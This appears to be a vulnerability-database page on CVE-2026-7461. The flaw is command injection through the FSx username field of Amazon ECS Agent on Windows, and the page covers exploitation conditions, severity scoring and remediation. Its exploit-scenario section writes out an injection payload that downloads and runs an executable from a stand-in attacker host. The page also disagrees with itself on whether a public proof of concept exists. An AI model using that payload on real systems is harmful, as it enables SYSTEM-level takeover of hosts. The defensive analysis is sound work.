Skip to main content

Amazon ECS Agent CVE-2026-7461

| EUVDEUVD-2026-26412 HIGH
OS Command Injection (CWE-78)
2026-04-30 AMZN
7.5
CVSS 4.0 · Vendor: AMZN
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain AWS credentials with task definition permissions
  2. Delivery
    Craft malicious ECS task definition with command injection in FSx username field
  3. Exploit
    Register task definition via ECS API
  4. Install
    ECS scheduler assigns task to Windows container instance
  5. C2
    ECS Agent processes FSx mount with unsanitized username
  6. Execute
    Execute injected commands as SYSTEM
  7. Impact
    Achieve full host compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires IAM permissions to register ECS task definitions (ecs:RegisterTaskDefinition action) OR write access to AWS Secrets Manager secrets or SSM Parameter Store parameters referenced in existing FSx volume configurations (secretsmanager:PutSecretValue or ssm:PutParameter actions). The target environment must be running Amazon ECS Agent versions prior to 1.103.0 on Windows operating systems with FSx for Windows File Server volume mounting functionality configured. The attacker must craft ECS task definitions that include FSx volume configurations with malicious input in the username credential field, which limits exploitation to authenticated AWS users with elevated IAM privileges - not arbitrary internet attackers. Attack vector is network-based (AV:N) but requires high-privilege authentication (PR:H), representing insider threat or post-compromise scenarios. Limiting factors include: Windows-only attack surface (not Linux ECS hosts), requirement for FSx volume feature usage (not all ECS deployments use FSx), and the need for task definitions to actually be executed by the ECS scheduler. Default ECS configurations are vulnerable if FSx volumes are used, but exploitation cannot occur without the described IAM permissions.

Impact

Despite the high CVSS score of 7.2, real-world exploitation risk is constrained by significant prerequisite barriers. The CVSS vector (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) indicates network-accessible exploitation with low complexity, but critically requires high-privilege authentication (PR:H) - specifically IAM permissions to register ECS task definitions or modify credential stores. This is not a remotely exploitable vulnerability against arbitrary AWS accounts; the attacker must already possess substantial IAM privileges within the target AWS environment, representing an insider threat or post-compromise scenario. The scope is unchanged (S:U), meaning impact is limited to the compromised ECS host, not the broader AWS infrastructure. However, privilege escalation from task-definition-level permissions to SYSTEM-level code execution on the Windows host represents a significant vertical privilege boundary crossing. The Windows-only attack surface and FSx volume requirement further limit exposure - only ECS workloads using FSx for Windows File Server volumes are vulnerable. No EPSS data provided, no CISA KEV listing, and no public POC identified, suggesting exploitation is not widespread. Priority should focus on Windows-based ECS environments with FSx volumes where IAM permission boundaries are critical.

Exploit ScenarioDerived

An attacker with compromised AWS credentials possessing IAM permissions to register ECS task definitions crafts a malicious task definition with an FSx for Windows File Server volume configuration. In the username field of the FSx credentials (stored in Secrets Manager or SSM Parameter Store), the attacker injects shell metacharacters and commands, such as '; powershell.exe -Command Invoke-WebRequest attacker.com/payload.exe -OutFile C:\payload.exe; C:\payload.exe; #'. When the ECS Agent on a Windows container instance processes this task definition to mount the FSx volume, the unsanitized username is passed directly to OS command execution with SYSTEM privileges, executing the attacker's payload with full host control. No public POC exists at time of analysis, but the injection vector is straightforward command-line exploitation. The attacker achieves complete compromise of the ECS Windows host, enabling data exfiltration from other containers, lateral movement, or persistent backdoor installation.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 30, 2026

Command injection in Amazon ECS Agent on Windows allows authenticated attackers with task definition permissions to execute arbitrary shell commands with SYSTEM privileges on the underlying host. The vulnerability exists in the FSx Windows File Server volume mounting component (versions prior to 1.103.0), where username field input is not properly sanitized before being passed to OS commands. This affects AWS customers running Windows-based ECS container workloads with FSx volumes - exploitation requires IAM permissions to register ECS task definitions or write to credential stores (Secrets Manager/SSM Parameter Store) used by FSx configurations. Vendor-released patch: version 1.103.0. EPSS and KEV data not provided; no public exploit identified at time of analysis.

RemediationAI

Upgrade Amazon ECS Agent to version 1.103.0 or later per AWS Security Bulletin 2026-024-AWS (https://aws.amazon.com/security/security-bulletins/2026-024-aws/). The patch implements environment variable-based input handling for FSx volume mounting (GitHub PR #4934) to prevent command injection. For environments unable to immediately upgrade, implement compensating controls: (1) Audit and restrict IAM permissions for ecs:RegisterTaskDefinition, secretsmanager:PutSecretValue, and ssm:PutParameter actions to trusted principals only via least-privilege policies - note this may impact developer workflows requiring task definition updates; (2) Enable AWS CloudTrail logging for RegisterTaskDefinition API calls and configure CloudWatch alarms for unusual username patterns in task definition parameters (regex monitoring for shell metacharacters in FSx credential fields); (3) Consider temporarily disabling FSx for Windows File Server volume support on ECS clusters running vulnerable agent versions if the feature is not operationally required - this breaks existing FSx-dependent tasks. The patch also upgrades Golang to 1.25.9 for additional security improvements. Verify upgrade success by checking ECS agent version via AWS Systems Manager or container instance metadata.

Affected VersionsENISA

Amazon ECS Agent 1.47.0 ≤1.102.0

Affected Packages

go github.com/aws/amazon-ecs-agent fix: 1.103.0
euvd amazon_ecs_agent no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a CWE-78 (OS Command Injection) vulnerability in the Amazon ECS Agent's Windows implementation, specifically the FSx for Windows File Server volume mounting subsystem. The affected component (cpe:2.3:a:aws:amazon_ecs_agent:*:*:*:*:*:*:*:*) processes ECS task definitions containing FSx volume configurations with credentials stored in AWS Secrets Manager or SSM Parameter Store. According to GitHub PR #4934 in the fix release, the vulnerability stems from unsafe direct interpolation of the username field into OS commands during the mount operation. Instead of sanitizing inputs before shell execution, the vulnerable code passes user-controlled task definition parameters directly to Windows command-line utilities with SYSTEM privileges. The patch remediation (v1.103.0) implements environment variable-based input handling to prevent command injection, alongside a Golang version bump to 1.25.9 for additional security improvements.

Know when Amazon Ecs Agent gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (AMZN) PRIMARY 7.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (AMZN) · only source for this CVE.

CVSS VectorVendor: AMZN

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
Apr 30, 2026 - 19:22 NVD
7.2 (HIGH) 7.5 (HIGH)
Patch released
Apr 30, 2026 - 19:00 nvd
Patch available
CVE Published
Apr 30, 2026 - 18:35 nvd
HIGH 7.5

DescriptionCVE.org

Improper neutralization of inputs used in an OS command in the FSx Windows File Server volume mounting component in Amazon ECS Agent on Windows before version 1.103.0 might allow a remote authenticated threat actor to execute shell commands with SYSTEM privileges on the underlying host via a specially crafted username field in an ECS task definition. This issue requires permissions to register ECS task definitions or write to the Secrets Manager or SSM Parameter Store credentials used by the FSx volume configuration.

To remediate this issue, users should upgrade to version 1.103.0.

Executive ViewAI

Why It Matters

Amazon ECS Agent versions prior to 1.103.0 contain a command injection vulnerability in Windows FSx volume mounting that allows authenticated users with task definition permissions to execute arbitrary commands with SYSTEM privileges on container hosts. Organizations running Windows ECS workloads with FSx storage face potential host compromise and lateral movement risk if attackers gain access to ECS task definition creation or credential management roles.

Business Impact: High
Compensating Controls

Apply vendor patch. Interim mitigations pending patch deployment: (1) restrict IAM principals with ecsTaskDefinitionRegister or ecsTaskDefinitionWrite permissions to only authorized DevOps personnel; (2) disable FSx volume mounting in ECS task definitions if not operationally required; (3) implement VPC endpoint policies blocking non-approved credential store access; (4) enable CloudTrail logging and configure alerts on ECS task definition modifications.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy